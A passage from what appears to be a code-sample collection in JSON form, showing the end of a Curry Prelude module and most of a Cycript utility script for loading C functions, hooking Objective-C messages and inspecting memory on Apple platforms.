unzip3 ts\n\n--- Concatenates a list of lists into one list.\nconcat :: [[a]] -> [a]\nconcat = foldr (++) []\n\n--- Maps a function from elements to lists and merges the result into one list.\nconcatMap :: (a -> [b]) -> [a] -> [b]\nconcatMap f = concat . map f\n\n--- Infinite list of repeated applications of a function f to an element x.\n--- Thus, `iterate f x = [x, f x, f (f x), ...]`.\niterate :: (a -> a) -> a -> [a]\niterate f x = x : iterate f (f x)\n\n--- Infinite list where all elements have the same value.\n--- Thus, `repeat x = [x, x, x, ...]`.\nrepeat :: a -> [a]\nrepeat x = x : repeat x\n\n--- List of length n where all elements have the same value.\nreplicate :: Int -> a -> [a]\nreplicate n x = take n (repeat x)\n\n--- Returns prefix of length n.\ntake :: Int -> [a] -> [a]\ntake n l = if n <= 0 then [] else takep n l\n where takep _ []     = []\n       takep m (x:xs) = x : take (m - 1) xs\n\n--- Returns suffix without first n elements.\ndrop :: Int -> [a] -> [a]\ndrop n xs = if n <= 0 then xs\n                      else case xs of []     -> []\n                                      (_:ys) -> drop (n - 1) ys\n\n--- `splitAt n xs` is equivalent to `(take n xs, drop n xs)`\nsplitAt :: Int -> [a] -> ([a], [a])\nsplitAt n l = if n <= 0 then ([], l) else splitAtp n l\n  where splitAtp _ []     = ([], [])\n        splitAtp m (x:xs) = let (ys, zs) = splitAt (m - 1) xs in (x : ys, zs)\n\n--- Returns longest prefix with elements satisfying a predicate.\ntakeWhile :: (a -> Bool) -> [a] -> [a]\ntakeWhile _ []     = []\ntakeWhile p (x:xs) = if p x then x : takeWhile p xs else []\n\n--- Returns suffix without takeWhile prefix.\ndropWhile :: (a -> Bool) -> [a] -> [a]\ndropWhile _ []     = []\ndropWhile p (x:xs) = if p x then dropWhile p xs else x : xs\n\n--- `span p xs` is equivalent to `(takeWhile p xs, dropWhile p xs)`\nspan :: (a -> Bool) -> [a] -> ([a], [a])\nspan _ []     = ([], [])\nspan p (x:xs) | p x       = let (ys, zs) = span p xs in (x : ys, zs)\n              | otherwise = ([], x : xs)\n\n--- `break p xs` is equivalent to\n--- `(takeWhile (not . p) xs, dropWhile (not . p) xs)`.\n--- Thus, it breaks a list at the first occurrence of an element satisfying p.\nbreak :: (a -> Bool) -> [a] -> ([a], [a])\nbreak p = span (not . p)\n\n--- Reverses the order of all elements in a list.\nreverse :: [a] -> [a]\nreverse = foldl (flip (:)) []\n\n--- Computes the conjunction of a Boolean list.\nand :: [Bool] -> Bool\nand = foldr (&&) True\n\n--- Computes the disjunction of a Boolean list.\nor :: [Bool] -> Bool\nor = foldr (||) False\n\n--- Is there an element in a list satisfying a given predicate?\nany :: (a -> Bool) -> [a] -> Bool\nany p = or . map p\n\n--- Is a given predicate satisfied by all elements in a list?\nall :: (a -> Bool) -> [a] -> Bool\nall p = and . map p\n\n--- Element of a list?\nelem :: Eq a => a -> [a] -> Bool\nelem x = any (x ==)\n\n--- Not element of a list?\nnotElem :: Eq a => a -> [a] -> Bool\nnotElem x = all (x /=)\n\n--- Looks up a key in an association list.\nlookup :: Eq a => a -> [(a, b)] -> Maybe b\nlookup _ []          = Nothing\nlookup k ((x,y):xys) | k == x    = Just y\n                     | otherwise = lookup k xys\n\ndata Maybe a = Nothing | Just a\n deriving (Eq, Ord, Show, Read)\n\ninstance Monoid a => Monoid (Maybe a) where\n  mempty = Nothing\n  Nothing `mappend` m       = m\n  Just m1 `mappend` Nothing = Just m1\n  Just m1 `mappend` Just m2 = Just (m1 `mappend` m2)\n\ninstance Functor Maybe where\n  fmap _ Nothing  = Nothing\n  fmap f (Just x) = Just (f x)\n\ninstance Applicative Maybe where\n  pure = Just\n  Just f  <*> m = fmap f m\n  Nothing <*> _ = Nothing\n  Just _  *> m = m\n  Nothing *> _ = Nothing\n  liftA2 f (Just x) (Just y) = Just (f x y)\n  liftA2 _ (Just _) Nothing  = Nothing\n  liftA2 _ Nothing  _        = Nothing\n\ninstance Alternative Maybe where\n    empty = Nothing\n    Nothing <|> r = r\n    Just l  <|> _ = Just l\n\ninstance Monad Maybe where\n  Nothing >>= _ = Nothing\n  Just x  >>= k = k x\n  (>>) = (*>)\n\ninstance MonadFail Maybe where\n  fail _ = Nothing\n\nmaybe :: b -> (a -> b) -> Maybe a -> b\nmaybe n _ Nothing  = n\nmaybe _ f (Just x) = f x\n\ndata Either a b = Left a\n                | Right b\n  deriving (Eq, Ord, Show, Read)\n\ninstance Functor (Either a) where\n  fmap _ (Left e)  = Left e\n  fmap f (Right x) = Right (f x)\n\ninstance Applicative (Either a) where\n  pure = Right\n  (<*>) = ap\n\ninstance Monad (Either a) where\n  return          = Right\n  (Left e)  >>= _ = Left e\n  (Right x) >>= f = f x\n\neither :: (a -> c) -> (b -> c) -> Either a b -> c\neither left _     (Left  a) = left a\neither _    right (Right b) = right b\n\nexternal data IO _\n\ninstance Monoid a => Monoid (IO a) where\n  mempty = pure mempty\n  mappend = liftA2 mappend\n\ninstance  Functor IO where\n  fmap f x = x >>= (pure . f)\n\ninstance Applicative IO where\n  pure = returnIO\n#ifdef __PAKCS__\n  (*>) = seqIO\n#else\n  m *> k = m >>= \\_ -> k\n#endif\n  (<*>) = ap\n  liftA2 = liftM2\n\ninstance Alternative IO where\n    empty = fail \"mzero\"\n\n    m <|> n = m `catch` const n\n\ninstance Monad IO where\n  (>>=) = bindIO\n  (>>) = (*>)\n\ninstance MonadFail IO where\n  fail s = ioError (userError s)\n\nbindIO :: IO a -> (a -> IO b) -> IO b\nbindIO external\n\nseqIO :: IO a -> IO b -> IO b\nseqIO external\n\nreturnIO :: a -> IO a\nreturnIO external\n\n--- An action that reads a character from standard output and returns it.\ngetChar :: IO Char\ngetChar external\n\n--- An action that reads a line from standard input and returns it.\ngetLine :: IO String\ngetLine = do c <- getChar\n             case c of\n               '\\n' -> return []\n               _ -> do cs <- getLine\n                       return (c : cs)\n\n--- An action that puts its character argument on standard output.\nputChar :: Char -> IO ()\nputChar c = prim_putChar $# c\n\nprim_putChar :: Char -> IO ()\nprim_putChar external\n\n--- Action to print a string on standard output.\nputStr :: String -> IO ()\nputStr []     = return ()\nputStr (c:cs) = putChar c >> putStr cs\n\n--- Action to print a string with a newline on standard output.\nputStrLn :: String -> IO ()\nputStrLn cs = putStr cs >> putChar '\\n'\n\n--- Converts a term into a string and prints it.\nprint :: Show a => a -> IO ()\nprint = putStrLn . show\n\ntype FilePath = String\n\n--- An action that (lazily) reads a file and returns its contents.\nreadFile :: FilePath -> IO String\nreadFile f = prim_readFile $## f\n\nprim_readFile :: FilePath -> IO String\nprim_readFile external\n\n#ifdef __PAKCS__\n-- Needed for internal implementation of readFile.\nprim_readFileContents :: FilePath -> String\nprim_readFileContents external\n#endif\n\n--- An action that writes a file.\nwriteFile :: FilePath -> String -> IO ()\nwriteFile f s = (prim_writeFile $## f) s\n\nprim_writeFile :: FilePath -> String -> IO ()\nprim_writeFile external\n\n--- An action that appends a string to a file.\n--- It behaves like `writeFile` if the file does not exist.\nappendFile :: FilePath -> String -> IO ()\nappendFile f s = (prim_appendFile $## f) s\n\nprim_appendFile :: FilePath -> String -> IO ()\nprim_appendFile external\n\n--- The (abstract) type of error values.\n--- Currently, it distinguishes between general I/O errors,\n--- user-generated errors (see 'userError'), failures and non-determinism\n--- errors during I/O computations. These errors can be caught by 'catch'.\n--- Each error contains a string shortly explaining the error.\n--- This type might be extended in the future to distinguish\n--- further error situations.\ndata IOError\n  = IOError String     -- normal IO error\n  | UserError String   -- user-specified error\n  | FailError String   -- failing computation\n  | NondetError String -- non-deterministic computation\n deriving Eq\n\ninstance Show IOError where\n  show (IOError     s) = \"i/o error: \" ++ s\n  show (UserError   s) = \"user error: \" ++ s\n  show (FailError   s) = \"fail error: \" ++ s\n  show (NondetError s) = \"nondet error: \" ++ s\n\n--- A user error value is created by providing a description of the\n--- error situation as a string.\nuserError :: String -> IOError\nuserError = UserError\n\n--- Raises an I/O exception with a given error value.\nioError :: IOError -> IO _\n#ifdef __PAKCS__\nioError err = error (show err)\n#else\nioError err = prim_ioError $## err\n\nprim_ioError :: IOError -> IO _\nprim_ioError external\n#endif\n\n--- Catches a possible error or failure during the execution of an\n--- I/O action. `catch act errfun` executes the I/O action `act`.\n--- If an exception or failure occurs during this I/O action, the\n--- function `errfun` is applied to the error value.\ncatch :: IO a -> (IOError -> IO a) -> IO a\ncatch external\n\n\ntype Success = Bool\n\n--- The always satisfiable constraint.\nsuccess :: Success\nsuccess = True\n\n--- Enforce a Boolean condition to be true.\n--- The computation fails if the argument evaluates to `False`.\nsolve :: Bool -> Bool\nsolve True = True\n\n--- Solves a constraint as an I/O action.\n--- Note: The constraint should be always solvable in a deterministic way.\ndoSolve :: Bool -> IO ()\ndoSolve b | b = return ()\n\n--- The equational constraint.\n--- `(e1 =:= e2)` is satisfiable if both sides `e1` and `e2` can be\n--- reduced to a unifiable data term (i.e., a term without defined\n--- function symbols).\n(=:=) :: Data a => a -> a -> Bool\nx =:= y = constrEq x y\n\nconstrEq :: a -> a -> Bool\nconstrEq external\n\n--- Non-strict equational constraint. Used to implement functional patterns.\n(=:<=) :: Data a => a -> a -> Bool\nx =:<= y = nonstrictEq x y\n\nnonstrictEq :: a -> a -> Bool\nnonstrictEq external\n\n#ifdef __PAKCS__\n--- Non-strict equational constraint for linear functional patterns.\n--- Thus, it must be ensured that the first argument is always (after evalutation\n--- by narrowing) a linear pattern. Experimental.\n(=:<<=) :: Data a => a -> a -> Bool\nx =:<<= y = unifEqLinear x y\n\nunifEqLinear :: a -> a -> Bool\nunifEqLinear external\n\n--- internal function to implement =:<=\nifVar :: _ -> a -> a -> a\nifVar external\n#endif\n\n--- Concurrent conjunction.\n--- An expression like `(c1 & c2)` is evaluated by evaluating\n--- the `c1` and `c2` in a concurrent manner.\n(&) :: Bool -> Bool -> Bool\n(&) external\n\n--- Conditional expression.\n--- An expression like `(c &> e)` is evaluated by evaluating the first\n--- argument to `True` and then evaluating `e`.\n--- The expression has no value if the condition does not evaluate to `True`.\n(&>) :: Bool -> a -> a\nTrue &> x = x\n\n--- Non-deterministic choice _par excellence_.\n--- The value of `x ? y` is either `x` or `y`.\n(?) :: a -> a -> a\nx ? _ = x\n_ ? y = y\n\n--- Returns non-deterministically any element of a list.\nanyOf :: [a] -> a\nanyOf = foldr1 (?)\n\n--- Evaluates to a fresh free variable.\nunknown :: Data a => a\nunknown = let x free in x\n\n--- A non-reducible polymorphic function.\n--- It is useful to express a failure in a search branch of the execution.\nfailed :: _\nfailed external\n\n--- Aborts the execution with an error message.\nerror :: String -> _\nerror x = prim_error $## x\n\nprim_error :: String -> _\nprim_error external\n\n-- Representation of higher-order applications in FlatCurry.\napply :: (a -> b) -> a -> b\napply external\n\n-- Representation of conditional rules in FlatCurry.\ncond :: Bool -> a -> a\ncond external\n\n#ifdef __PAKCS__\n-- `letrec ones (1 : ones)` binds `ones` to `1 : ones`.\nletrec :: a -> a -> Bool\nletrec external\n\n-- Internal operation to implement failure reporting.\nfailure :: _ -> _ -> _\nfailure external\n#endif\n"
  },
  {
    "path": "samples/Cycript/utils.cy",
    "content": "(function(utils) {\n\t// Load C functions declared in utils.loadFuncs\n\tvar shouldLoadCFuncs = true;\n\t// Expose the C functions to cycript's global scope\n\tvar shouldExposeCFuncs = true;\n\t// Expose C constants to cycript's global scope\n\tvar shouldExposeConsts = true;\n\t// Expose functions defined here to cycript's global scope\n\tvar shouldExposeFuncs = true;\n\t// Which functions to expose\n\tvar funcsToExpose = [\"exec\", \"include\", \"sizeof\", \"logify\", \"apply\", \"str2voidPtr\", \"voidPtr2str\", \"double2voidPtr\", \"voidPtr2double\", \"isMemoryReadable\", \"isObject\", \"makeStruct\"];\n\t\n\t// C functions that utils.loadFuncs loads\n\tvar CFuncsDeclarations = [\n\t\t// <stdlib.h>\n\t\t\"void *calloc(size_t num, size_t size)\",\n\t\t// <string.h>\n\t\t\"char *strcpy(char *restrict dst, const char *restrict src)\",\n\t\t\"char *strdup(const char *s1)\",\n\t\t\"void* memset(void* dest, int ch, size_t count)\",\n\t\t// <stdio.h>\n\t\t\"FILE *fopen(const char *, const char *)\",\n\t\t\"int fclose(FILE *)\",\n\t\t\"size_t fread(void *restrict, size_t, size_t, FILE *restrict)\",\n\t\t\"size_t fwrite(const void *restrict, size_t, size_t, FILE *restrict)\",\n\t\t// <mach.h>\n\t\t\"mach_port_t mach_task_self()\",\n\t\t\"kern_return_t task_for_pid(mach_port_name_t target_tport, int pid, mach_port_name_t *tn)\",\n\t\t\"kern_return_t mach_vm_protect(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection)\",\n\t\t\"kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt)\",\n\t\t\"kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt)\",\n\t];\n\t\n\t/*\n\t\tReplacement for eval that can handle @encode etc.\n\t\t\n\t\tUsage:\n\t\t\tcy# utils.exec(\"@encode(void *(int, char))\")\n\t\t\t@encode(void*(int,char))\n\t*/\n\tutils.exec = function(str) {\n\t\tvar mkdir = @encode(int (const char *, int))(dlsym(RTLD_DEFAULT, \"mkdir\"));\n\t\tvar tempnam = @encode(char *(const char *, const char *))(dlsym(RTLD_DEFAULT, \"tempnam\"));\n\t\tvar fopen = @encode(void *(const char *, const char *))(dlsym(RTLD_DEFAULT, \"fopen\"));\n\t\tvar fclose = @encode(int (void *))(dlsym(RTLD_DEFAULT, \"fclose\"));\n\t\tvar fwrite = @encode(int (const char *, int, int, void *))(dlsym(RTLD_DEFAULT, \"fwrite\"));\n\t\tvar symlink = @encode(int (const char *, const char *))(dlsym(RTLD_DEFAULT, \"symlink\"));\n\t\tvar unlink = @encode(int (const char *))(dlsym(RTLD_DEFAULT, \"unlink\"));\n\t\tvar getenv = @encode(const char *(const char *))(dlsym(RTLD_DEFAULT, \"getenv\"));\n\t\tvar setenv = @encode(int (const char *, const char *, int))(dlsym(RTLD_DEFAULT, \"setenv\"));\n\t\t\n\t\tvar libdir = \"/usr/lib/cycript0.9\";\n\t\tvar dir = libdir + \"/tmp\";\n\n\t\tmkdir(dir, 0777);\n\t\t\n\t\t// This is needed because tempnam seems to ignore the first argument on i386\n\t\tvar old_tmpdir = getenv(\"TMPDIR\");\n\t\tsetenv(\"TMPDIR\", dir, 1);\n\n\t\t// No freeing :(\n\t\tvar f = tempnam(dir, \"exec-\");\n\t\tsetenv(\"TMPDIR\", old_tmpdir, 1);\n\t\tif(!f) {\n\t\t\treturn false;\n\t\t}\n\n\t\tsymlink(f, f + \".cy\");\n\t\t\n\t\tstr = \"exports.result = \" + str;\n\n\t\tvar handle = fopen(f, \"w\");\n\t\tfwrite(str, str.length, 1, handle);\n\t\tfclose(handle);\n\t\t\n\t\tvar r;\n\t\tvar except = null;\n\t\ttry {\n\t\t\tr = require(f.replace(libdir + \"/\", \"\"));\n\t\t} catch(e) {\n\t\t\texcept = e;\n\t\t}\n\n\t\tunlink(f + \".cy\");\n\t\tunlink(f);\n\t\t\n\t\tif(except !== null) {\n\t\t\tthrow except;\n\t\t}\n\n\t\treturn r.result;\n\t};\n\t\n\t/*\n\t\tApplies known typedefs\n\t\tUsed in utils.include and utils.makeStruct\n\t\t\n\t\tUsage:\n\t\t\tcy# utils.applyTypedefs(\"mach_vm_address_t\")\n\t\t\t\"uint64_t\"\n\t*/\n\tutils.applyTypedefs = function(str) {\n\t\tvar typedefs = {\n\t\t\t\"struct\": \"\",\n\t\t\t\"restrict\": \"\",\n\t\t\t\"FILE\": \"void\",\n\t\t\t\"size_t\": \"uint64_t\",\n\t\t\t\"uintptr_t\": \"unsigned long\",\n\t\t\t\"kern_return_t\": \"int\",\n\t\t\t\"mach_port_t\": \"unsigned int\",\n\t\t\t\"mach_port_name_t\": \"unsigned int\",\n\t\t\t\"vm_offset_t\": \"unsigned long\",\n\t\t\t\"vm_size_t\": \"unsigned long\",\n\t\t\t\"mach_vm_address_t\": \"uint64_t\",\n\t\t\t\"mach_vm_offset_t\": \"uint64_t\",\n\t\t\t\"mach_vm_size_t\": \"uint64_t\",\n\t\t\t\"vm_map_offset_t\": \"uint64_t\",\n\t\t\t\"vm_map_address_t\": \"uint64_t\",\n\t\t\t\"vm_map_size_t\": \"uint64_t\",\n\t\t\t\"mach_port_context_t\": \"uint64_t\",\n\t\t\t\"vm_map_t\": \"unsigned int\",\n\t\t\t\"boolean_t\": \"unsigned int\",\n\t\t\t\"vm_prot_t\": \"int\",\n\t\t\t\"mach_msg_type_number_t\": \"unsigned int\",\n\t\t\t\"cpu_type_t\": \"int\",\n\t\t\t\"cpu_subtype_t\": \"int\",\n\t\t\t\"cpu_threadtype_t\": \"int\",\n\t\t};\n\t\t\n\t\tfor(var k in typedefs) {\n\t\t\tstr = str.replace(new RegExp(\"(\\\\s|\\\\*|,|\\\\(|^)\" + k + \"(\\\\s|\\\\*|,|\\\\)|$)\", \"g\"), \"$1\" + typedefs[k] + \"$2\");\n\t\t}\n\t\t\n\t\treturn str;\n\t};\n\t\n\t/*\n\t\tParses a C function declaration and returns the function name and cycript type\n\t\tIf load is true, tries to load it into cycript using utils.exec\n\t\t\n\t\tUsage:\n\t\t\tcy# var str = \"void *calloc(size_t num, size_t size)\";\n\t\t\t\"void *calloc(size_t num, size_t size)\"\n\t\t\tcy# utils.include(str)\n\t\t\t[\"calloc\",\"@encode(void *(uint64_t num,  uint64_t size))(140735674376857)\"]\n\t\t\tcy# var ret = utils.include(str, true)\n\t\t\t[\"calloc\",0x7fff93e0e299]\n\t\t\tcy# ret[1].type\n\t\t\t@encode(void*(unsigned long long int,unsigned long long int))\n\t\t\tcy# ret[1](100, 1)\n\t\t\t0x100444100\n\t*/\n\tutils.include = function(str, load) {\n\t\tvar re = /^\\s*([^(]*(?:\\s+|\\*))(\\w*)\\s*\\(([^)]*)\\)\\s*;?\\s*$/;\n\t\tvar match = re.exec(str);\n\t\tif(!match) {\n\t\t\treturn -1;\n\t\t}\n\t\tvar rType = utils.applyTypedefs(match[1]);\n\t\tvar name = match[2];\n\t\tvar args = match[3];\n\n\t\tvar argsRe = /([^,]+)(?:,|$)/g;\n\t\tvar argsTypes = [];\n\t\twhile((match = argsRe.exec(args)) !== null) {\n\t\t\tvar type = utils.applyTypedefs(match[1]);\n\t\t\targsTypes.push(type);\n\t\t}\n\t\t\n\t\tvar encodeString = \"@encode(\";\n\t\tencodeString += rType + \"(\";\n\t\tencodeString += argsTypes.join(\", \") + \"))\";\n\n\t\tvar fun = dlsym(RTLD_DEFAULT, name);\n\t\tif(fun !== null) {\n\t\t\tencodeString += \"(\" + fun + \")\";\n\t\t\tif(load) {\n\t\t\t\treturn [name, utils.exec(encodeString)];\n\t\t\t}\n\t\t} else if(load) {\n\t\t\tthrow \"Function couldn't be found with dlsym!\";\n\t\t}\n\n\t\treturn [name, encodeString];\n\t};\n\t\n\t/*\n\t\tLoads the function declaration in the defs array using utils.exec and exposes to cycript's global scope\n\t\tIs automatically called if shouldLoadCFuncs is true\n\t*/\n\tutils.funcs = {};\n\tutils.loadfuncs = function(expose) {\n\t\tfor(var i = 0; i < CFuncsDeclarations.length; i++) {\n\t\t\ttry {\n\t\t\t\tvar o = utils.include(CFuncsDeclarations[i], true);\n\t\t\t\tutils.funcs[o[0]] = o[1];\n\t\t\t\tif(expose) {\n\t\t\t\t\tCycript.all[o[0]] = o[1];\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tsystem.print(\"Failed to load function: \" + i);\n\t\t\t\ttry {\n\t\t\t\t\tsystem.print(utils.include(CFuncsDeclarations[i]));\n\t\t\t\t} catch(e2) {\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\t\n\t/*\n\t\tCalculates the size of a type like the C operator sizeof\n\t\t\n\t\tUsage:\n\t\t\tcy# utils.sizeof(int)\n\t\t\t4\n\t\t\tcy# utils.sizeof(@encode(void *))\n\t\t\t8\n\t\t\tcy# utils.sizeof(\"mach_vm_address_t\")\n\t\t\t8\n\t*/\n\tutils.sizeof = function(type) {\n\t\tif(typeof type === \"string\") {\n\t\t\ttype = utils.applyTypedefs(type);\n\t\t\ttype = utils.exec(\"@encode(\" + type + \")\");\n\t\t}\n\t\t\n\t\t// (const) char * has \"infinite\" preceision\n\t\tif(type.toString().slice(-1) === \"*\") {\n\t\t\treturn utils.sizeof(@encode(void *));\n\t\t}\n\t\t\n\t\t// float and double\n\t\tif(type.toString() === @encode(float).toString()) {\n\t\t\treturn 4;\n\t\t} else if (type.toString() === @encode(double).toString()) {\n\t\t\treturn 8;\n\t\t}\n\n\t\tvar typeInstance = type(0);\n\t\t\n\t\tif(typeInstance instanceof Object) {\n\t\t\t// Arrays\n\t\t\tif(\"length\" in typeInstance) {\n\t\t\t\treturn typeInstance.length * utils.sizeof(typeInstance.type);\n\t\t\t}\n\t\t\t\n\t\t\t// Structs\n\t\t\tif(typeInstance.toString() === \"[object Struct]\") {\n\t\t\t\tvar typeStr = type.toString();\n\t\t\t\tvar arrayTypeStr = \"[2\" + typeStr + \"]\";\n\t\t\t\tvar arrayType = new Type(arrayTypeStr);\n\t\t\t\t\n\t\t\t\tvar arrayInstance = new arrayType;\n\t\t\t\t\n\t\t\t\treturn @encode(void *)(&(arrayInstance[1])) - @encode(void *)(&(arrayInstance[0]));\n\t\t\t}\n\t\t}\n\t\t\n\t\tfor(var i = 0; i < 5; i++) {\n\t\t\tvar maxSigned = Math.pow(2, 8 * Math.pow(2, i) - 1) - 1;\n\t\t\tif(i === 3) {\n\t\t\t\t// Floating point fix ;^)\n\t\t\t\tmaxSigned /= 1000;\n\t\t\t}\n\n\t\t\t// can't use !== or sizeof(void *) === 0.5\n\t\t\tif(type(maxSigned) != maxSigned) {\n\t\t\t\treturn Math.pow(2, i - 1);\n\t\t\t}\n\t\t}\n\t};\n\t\n\t/*\n\t\tLogs a specific message sent to an instance of a class like logify.pl in theos\n\t\tRequires Cydia Substrate (com.saurik.substrate.MS) and NSLog (org.cycript.NSLog) modules\n\t\tReturns the old message returned by MS.hookMessage (Note: this is not just the old message!)\n\t\t\n\t\tUsage:\n\t\t\tcy# var oldm = utils.logify(objc_getMetaClass(NSNumber), @selector(numberWithDouble:))\n\t\t\t...\n\t\t\tcy# var n = [NSNumber numberWithDouble:1.5]\n\t\t\t2014-07-28 02:26:39.805 cycript[71213:507] +[<NSNumber: 0x10032d0c4> numberWithDouble:1.5]\n\t\t\t2014-07-28 02:26:39.806 cycript[71213:507]  = 1.5\n\t\t\t@1.5\n\t*/\n\tutils.logify = function(cls, sel) {\n\t\t@import com.saurik.substrate.MS;\n\t\t@import org.cycript.NSLog;\n\t\t\n\t\tvar oldm = {};\n\t\t\n\t\tMS.hookMessage(cls, sel, function() {\n\t\t\tvar args = [].slice.call(arguments);\n\t\t\t\n\t\t\tvar selFormat = sel.toString().replace(/:/g, \":%@ \").trim();\n\t\t\tvar logFormat = \"%@[<%@: 0x%@> \" + selFormat + \"]\";\n\t\t\t\n\t\t\tvar standardArgs = [logFormat, class_isMetaClass(cls)? \"+\": \"-\", cls.toString(), (&this).valueOf().toString(16)];\n\t\t\tvar logArgs = standardArgs.concat(args);\n\t\t\t\n\t\t\tNSLog.apply(null, logArgs);\n\t\t\t\n\t\t\tvar r = oldm->apply(this, arguments);\n\t\t\t\n\t\t\tif(r !== undefined) {\n\t\t\t\tNSLog(\" = %@\", r);\n\t\t\t}\n\t\t\t\n\t\t\treturn r;\n\t\t}, oldm);\n\t\t\n\t\treturn oldm;\n\t};\n\t\n\t/*\n\t\tCalls a C function by providing its name and arguments\n\t\tDoesn't support structs\n\t\tReturn value is always a void pointer\n\t\t\n\t\tUsage:\n\t\t\tcy# utils.apply(\"printf\", [\"%s %.3s, %d -> %c, float: %f\\n\", \"foo\", \"barrrr\", 97, 97, 1.5])\n\t\t\tfoo bar, 97 -> a, float: 1.500000\n\t\t\t0x22\n\t*/\n\tutils.apply = function(fun, args) {\n\t\tif(!(args instanceof Array)) {\n\t\t\tthrow \"Args needs to be an array!\";\n\t\t}\n\t\t\n\t\tvar argc = args.length;\n\t\tvar voidPtr = @encode(void *);\n\t\tvar argTypes = [];\n\t\tfor(var i = 0; i < argc; i++) {\n\t\t\tvar argType = voidPtr;\n\t\t\t\n\t\t\tvar arg = args[i];\n\t\t\tif(typeof arg === \"string\") {\n\t\t\t\targType = @encode(char *);\n\t\t\t}\n\t\t\tif(typeof arg === \"number\" && arg % 1 !== 0) {\n\t\t\t\targType = @encode(double);\n\t\t\t}\n\t\t\t\n\t\t\targTypes.push(argType);\n\t\t}\n\t\t\n\t\tvar type = voidPtr.functionWith.apply(voidPtr, argTypes);\n\t\t\n\t\tif(typeof fun === \"string\") {\n\t\t\tfun = dlsym(RTLD_DEFAULT, fun);\n\t\t}\n\t\t\n\t\tif(!fun) {\n\t\t\tthrow \"Function not found!\";\n\t\t}\n\n\t\treturn type(fun).apply(null, args);\n\t};\n\t\n\t/*\n\t\tConverts a string (char *) to a void pointer (void *)\n\t\tYou can't cast to strings to void pointers and vice versa in cycript. Blame saurik.\n\t\t\n\t\tUsage:\n\t\t\tcy# var voidPtr = utils.str2voidPtr(\"foobar\")\n\t\t\t0x100331590\n\t\t\tcy# utils.voidPtr2str(voidPtr)\n\t\t\t\"foobar\"\n\t*/\n\tutils.str2voidPtr = function(str) {\n\t\tvar strdup = @encode(void *(char *))(dlsym(RTLD_DEFAULT, \"strdup\"));\n\t\treturn strdup(str);\n\t};\n\t\n\t/*\n\t\tThe inverse function of str2voidPtr\n\t*/\n\tutils.voidPtr2str = function(voidPtr) {\n\t\tvar strdup = @encode(char *(void *))(dlsym(RTLD_DEFAULT, \"strdup\"));\n\t\treturn strdup(voidPtr);\n\t};\n\t\n\t/*\n\t\tConverts a double into a void pointer\n\t\tThis can be used to view the binary representation of a floating point number\n\t\t\n\t\tUsage:\n\t\t\tcy# var n = utils.double2voidPtr(-1.5)\n\t\t\t0xbff8000000000000\n\t\t\tcy# utils.voidPtr2double(n)\n\t\t\t-1.5\n\t*/\n\tutils.double2voidPtr = function(n) {\n\t\tvar doublePtr = new double;\n\t\t*doublePtr = n;\n\t\t\n\t\tvar voidPtrPtr = @encode(void **)(doublePtr);\n\t\t\n\t\treturn *voidPtrPtr;\n\t};\n\t\n\t/*\n\t\tThe inverse function of double2voidPtr\n\t*/\n\tutils.voidPtr2double = function(voidPtr) {\n\t\tvar voidPtrPtr = new @encode(void **);\n\t\t*voidPtrPtr = voidPtr;\n\t\t\n\t\tvar doublePtr = @encode(double *)(voidPtrPtr);\n\t\t\n\t\treturn *doublePtr;\n\t};\n\t\n\t/*\n\t\tDetermines in a safe way if a memory location is readable\n\t\t\n\t\tUsage:\n\t\t\tcy# utils.isMemoryReadable(0)\n\t\t\tfalse\n\t\t\tcy# utils.isMemoryReadable(0x1337)\n\t\t\tfalse\n\t\t\tcy# utils.isMemoryReadable(NSObject)\n\t\t\ttrue\n\t\t\tcy# var a = malloc(100); utils.isMemoryReadable(a)\n\t\t\ttrue\n\t*/\n\tutils.isMemoryReadable = function(ptr) {\n\t\tif(typeof ptr === \"string\") {\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\tvar fds = new @encode(int [2]);\n\t\tutils.apply(\"pipe\", [fds]);\n\t\tvar result = utils.apply(\"write\", [fds[1], ptr, 1]) == 1;\n\t\t\n\t\tutils.apply(\"close\", [fds[0]]);\n\t\tutils.apply(\"close\", [fds[1]]);\n\t\t\n\t\treturn result;\n\t};\n\t\n\t/*\n\t\tDetermines in a safe way if the memory location contains an Objective-C object\n\n\t\tUsage:\n\t\t\tcy# utils.isObject(0)\n\t\t\tfalse\n\t\t\tcy# utils.isObject(0x1337)\n\t\t\tfalse\n\t\t\tcy# utils.isObject(NSObject)\n\t\t\ttrue\n\t\t\tcy# utils.isObject(objc_getMetaClass(NSObject))\n\t\t\ttrue\n\t\t\tcy# utils.isObject([new NSObject init])\n\t\t\ttrue\n\t\t\tcy# var a = malloc(100); utils.isObject(a)\n\t\t\tfalse\n\t\t\tcy# *@encode(void **)(a) = NSObject; utils.isObject(a)\n\t\t\ttrue\n\t*/\n\tutils.isObject = function(obj) {\n\t\tobj = @encode(void *)(obj);\n\t\tvar lastObj = -1;\n\t\t\n\t\tfunction objc_isa_ptr(obj) {\n\t\t\t// See http://www.sealiesoftware.com/blog/archive/2013/09/24/objc_explain_Non-pointer_isa.html\n\t\t\tvar objc_debug_isa_class_mask = 0x00000001fffffffa;\n\t\t\tobj = (obj & 1)? (obj & objc_debug_isa_class_mask): obj;\n\t\t\t\n\t\t\tif((obj & (utils.sizeof(@encode(void *)) - 1)) != 0) {\n\t\t\t\treturn null;\n\t\t\t} else {\n\t\t\t\treturn obj;\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction ptrValue(obj) {\n\t\t\treturn obj? obj.valueOf(): null;\n\t\t}\n\t\t\n\t\tvar foundMetaClass = false;\n\t\t\n\t\tfor(obj = objc_isa_ptr(obj); utils.isMemoryReadable(obj); ) {\n\t\t\tobj = *@encode(void **)(obj);\n\t\t\t\n\t\t\tif(ptrValue(obj) == ptrValue(lastObj)) {\n\t\t\t\tfoundMetaClass = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\tlastObj = obj;\n\t\t}\n\t\t\n\t\tif(!foundMetaClass) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif(lastObj === -1 || lastObj === null) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tvar obj_class = objc_isa_ptr(@encode(void 